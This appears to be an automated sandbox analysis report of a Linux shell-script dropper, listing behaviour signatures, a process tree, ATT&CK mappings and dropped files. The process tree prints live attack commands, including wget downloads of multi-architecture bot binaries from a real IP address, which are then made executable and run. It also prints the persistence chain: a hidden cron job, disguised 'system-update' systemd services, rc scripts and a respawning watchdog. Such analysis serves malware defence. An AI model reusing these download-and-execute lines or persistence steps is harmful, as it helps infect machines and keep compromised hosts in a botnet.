Analysis
- max time kernel
149s - max time network
150s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
- submitted
31/07/2026, 13:47
General
- Target 34d2e47fa8f6b64e346623b4ed66898b86d53891900b953e69f02e2b3ffb2cc9.sh
- Size 2KB
- Sample260731-q3hecsvxcs
- SHA256 34d2e47fa8f6b64e346623b4ed66898b86d53891900b953e69f02e2b3ffb2cc9
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 12 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 15 IoCs
- Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Creates/modifies environment variables 1 TTPs 5 IoCs
Creating/modifying environment variables is a common persistence mechanism.
- Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies init.d 2 TTPs 2 IoCs
Adds/modifies system service, likely for persistence.
- Modifies rc script 2 TTPs 2 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
- Modifies systemd 2 TTPs 4 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
- Write file to user bin folder 4 IoCs
- Writes file to system bin folder 1 IoCs
- Modifies Bash startup script 2 TTPs 5 IoCs
- Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Creates a desktop entry file 3 TTPs 1 IoCs
A .desktop file is used by desktop environments to register and launch applications. This can be abused to gain persistence.
- Reads CPU attributes 1 TTPs 2 IoCs
- Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to shm directory 1 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
- Writes file to tmp directory 18 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/34d2e47fa8f6b64e346623b4ed66898b86d53891900b953e69f02e2b3ffb2cc9.sh/tmp/34d2e47fa8f6b64e346623b4ed66898b86d53891900b953e69f02e2b3ffb2cc9.sh1⤵
- Executes dropped EXE
-
/usr/bin/wgetwget http://144.31.151.138:5000/payload/bins/client_x86_64 -q2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x client_x86_642⤵
- File and Directory Permissions Modification
-
-
/usr/bin/wgetwget http://144.31.151.138:5000/payload/bins/client_i686 -q2⤵
- Writes file to tmp directory
-
-
/tmp/client_x86_64./client_x86_642⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Creates/modifies environment variables
- Enumerates active TCP sockets
- Modifies init.d
- Modifies rc script
- Modifies systemd
- Write file to user bin folder
- Writes file to system bin folder
- Modifies Bash startup script
- Checks CPU configuration
- Creates a desktop entry file
- Reads system network configuration
- Reads runtime system information
- Writes file to shm directory
- Writes file to tmp directory
-
/bin/shsh -c "systemctl daemon-reload 2>/tmp/.systemd.log"3⤵
- Writes file to tmp directory
-
/bin/systemctlsystemctl daemon-reload4⤵
- Reads runtime system information
-
-
-
/bin/shsh -c "df / | tail -1 | awk '{print \$2,\$4}'"3⤵
-
/usr/bin/awkawk "{print \$2,\$4}"4⤵
-
-
/bin/dfdf /4⤵
-
-
/usr/bin/tailtail -14⤵
-
-
-
/bin/shsh -c "systemctl enable system-update.service 2>>/tmp/.systemd.log"3⤵
- Writes file to tmp directory
-
/bin/systemctlsystemctl enable system-update.service4⤵
-
-
-
/bin/shsh -c "systemctl reset-failed system-update.service 2>/dev/null"3⤵
-
/bin/systemctlsystemctl reset-failed system-update.service4⤵
-
-
-
/bin/shsh -c "systemctl start system-update.service 2>>/tmp/.systemd.log"3⤵
- Writes file to tmp directory
-
/bin/systemctlsystemctl start system-update.service4⤵
-
-
-
/bin/shsh -c "systemctl enable network-check.service 2>/dev/null"3⤵
-
/bin/systemctlsystemctl enable network-check.service4⤵
-
-
-
/bin/shsh -c "(crontab -l 2>/dev/null | grep -v '\\.sysupd' | grep -v 'system-update'; echo '@reboot /usr/local/bin/.sysupd > /dev/null 2>&1'; echo '*/5 * * * * /usr/local/bin/.sysupd > /dev/null 2>&1') | crontab - 2>/dev/null"3⤵
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
-
-
/bin/grepgrep -v system-update4⤵
-
-
/bin/grepgrep -v "\\.sysupd"4⤵
-
-
/usr/bin/crontabcrontab -l4⤵
-
-
-
/bin/shsh -c "update-rc.d sysupd defaults 2>/dev/null"3⤵
-
/usr/sbin/update-rc.dupdate-rc.d sysupd defaults4⤵
-
/usr/local/sbin/systemctlsystemctl daemon-reload5⤵
-
-
/usr/local/bin/systemctlsystemctl daemon-reload5⤵
-
-
/usr/sbin/systemctlsystemctl daemon-reload5⤵
-
-
/usr/bin/systemctlsystemctl daemon-reload5⤵
-
-
/sbin/systemctlsystemctl daemon-reload5⤵
-
-
/bin/systemctlsystemctl daemon-reload5⤵
-
-
-
-
/bin/shsh -c "chkconfig --add sysupd 2>/dev/null"3⤵
-
-
/bin/shsh -c "rc-update add sysupd default 2>/dev/null"3⤵
-
-
/bin/shsh -c "mkdir -p /etc/xdg/autostart 2>/dev/null"3⤵
-
/bin/mkdirmkdir -p /etc/xdg/autostart4⤵
-
-
-
/bin/shsh -c "systemctl enable system-watchdog.service 2>/dev/null"3⤵
-
/bin/systemctlsystemctl enable system-watchdog.service4⤵
- Reads runtime system information
-
-
-
/bin/shsh -c "systemctl start system-watchdog.service 2>/dev/null"3⤵
-
/bin/systemctlsystemctl start system-watchdog.service4⤵
-
-
-
/bin/shsh -c "systemctl enable system-check.timer 2>/dev/null"3⤵
-
/bin/systemctlsystemctl enable system-check.timer4⤵
-
-
-
/usr/local/bin/.watchdog.watchdog3⤵
-
/bin/sleepsleep 604⤵
-
-
/bin/systemctlsystemctl is-active --quiet system-update.service4⤵
-
-
/usr/bin/wcwc -l4⤵
-
-
/usr/bin/pgreppgrep -f "\\.sysupd"4⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/sleepsleep 604⤵
-
-
/usr/bin/setsidsetsid /usr/local/bin/.sysupd4⤵
- Executes dropped EXE
-
-
/usr/local/bin/.sysupd/usr/local/bin/.sysupd4⤵
-
-
/bin/systemctlsystemctl is-active --quiet system-update.service4⤵
-
-
/usr/bin/wcwc -l4⤵
-
-
/usr/bin/pgreppgrep -f "\\.sysupd"4⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/sleepsleep 604⤵
-
-
/usr/bin/setsidsetsid /usr/local/bin/.sysupd4⤵
- Executes dropped EXE
-
-
/usr/local/bin/.sysupd/usr/local/bin/.sysupd4⤵
-
-
-
/bin/shsh -c "systemctl start system-check.timer 2>/dev/null"3⤵
-
/bin/systemctlsystemctl start system-check.timer4⤵
- Reads runtime system information
-
-
-
/bin/shsh -c "mkdir -p /etc/update-motd.d 2>/dev/null"3⤵
-
/bin/mkdirmkdir -p /etc/update-motd.d4⤵
-
-
-
/bin/shsh -c "kill -HUP 1 2>/dev/null"3⤵
-
-
/bin/shsh -c "mkdir -p /etc/rc.d 2>/dev/null"3⤵
-
/bin/mkdirmkdir -p /etc/rc.d4⤵
-
-
-
/bin/shsh -c "df / | tail -1 | awk '{print \$2,\$4}'"3⤵
-
/usr/bin/awkawk "{print \$2,\$4}"4⤵
-
-
/usr/bin/tailtail -14⤵
-
-
/bin/dfdf /4⤵
-
-
-
-
/bin/chmodchmod +x client_i6862⤵
- File and Directory Permissions Modification
-
-
/usr/bin/wgetwget http://144.31.151.138:5000/payload/bins/client_i586 -q2⤵
- Writes file to tmp directory
-
-
/tmp/client_i686./client_i6862⤵
-
-
/bin/chmodchmod +x client_i5862⤵
- File and Directory Permissions Modification
-
-
/usr/bin/wgetwget http://144.31.151.138:5000/payload/bins/client_mips -q2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/tmp/client_i586./client_i5862⤵
-
-
/bin/chmodchmod +x client_mips2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/wgetwget http://144.31.151.138:5000/payload/bins/client_mipsel -q2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/tmp/client_mips./client_mips2⤵
- System Network Configuration Discovery
-
-
/bin/chmodchmod +x client_mipsel2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/wgetwget http://144.31.151.138:5000/payload/bins/client_armv4l -q2⤵
- Writes file to tmp directory
-
-
/tmp/client_mipsel./client_mipsel2⤵
- System Network Configuration Discovery
-
-
/bin/chmodchmod +x client_armv4l2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/wgetwget http://144.31.151.138:5000/payload/bins/client_armv5l -q2⤵
- Writes file to tmp directory
-
-
/tmp/client_armv4l./client_armv4l2⤵
-
-
/bin/chmodchmod +x client_armv5l2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/wgetwget http://144.31.151.138:5000/payload/bins/client_armv6l -q2⤵
- Writes file to tmp directory
-
-
/tmp/client_armv5l./client_armv5l2⤵
-
-
/bin/chmodchmod +x client_armv6l2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/wgetwget http://144.31.151.138:5000/payload/bins/client_armv7l -q2⤵
- Writes file to tmp directory
-
-
/tmp/client_armv6l./client_armv6l2⤵
-
-
/bin/chmodchmod +x client_armv7l2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/wgetwget http://144.31.151.138:5000/payload/bins/client_powerpc -q2⤵
- Writes file to tmp directory
-
-
/tmp/client_armv7l./client_armv7l2⤵
-
-
/bin/chmodchmod +x client_powerpc2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/wgetwget http://144.31.151.138:5000/payload/bins/client_m68k -q2⤵
- Writes file to tmp directory
-
-
/tmp/client_powerpc./client_powerpc2⤵
-
-
/bin/chmodchmod +x client_m68k2⤵
- File and Directory Permissions Modification
-
-
/usr/bin/wgetwget http://144.31.151.138:5000/payload/bins/client_sh4 -q2⤵
- Writes file to tmp directory
-
-
/tmp/client_m68k./client_m68k2⤵
-
-
/bin/chmodchmod +x client_sh42⤵
- File and Directory Permissions Modification
-
-
/tmp/client_sh4./client_sh41⤵
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
5XDG Autostart Entries
2Boot or Logon Initialization Scripts
2RC Scripts
2Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
5XDG Autostart Entries
2Boot or Logon Initialization Scripts
2RC Scripts
2Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
bashrc
system-update
S99sysupd
sysupd
inittab
S99sysupd
network-check.service
system-check.timer
system-update.service
system-watchdog.service
system-update.desktop
sysupd.pid
.bot.log
.bot.log
.bot.log
.bot.log
.bot.log
.persist.log
.systemd.log
.systemd.log
client_armv4l
client_armv5l
client_armv6l
client_armv7l
client_i586
client_i686
client_m68k
client_mips
client_mipsel
client_powerpc
client_sh4
client_x86_64
.watchdog
tmp.I4RrqL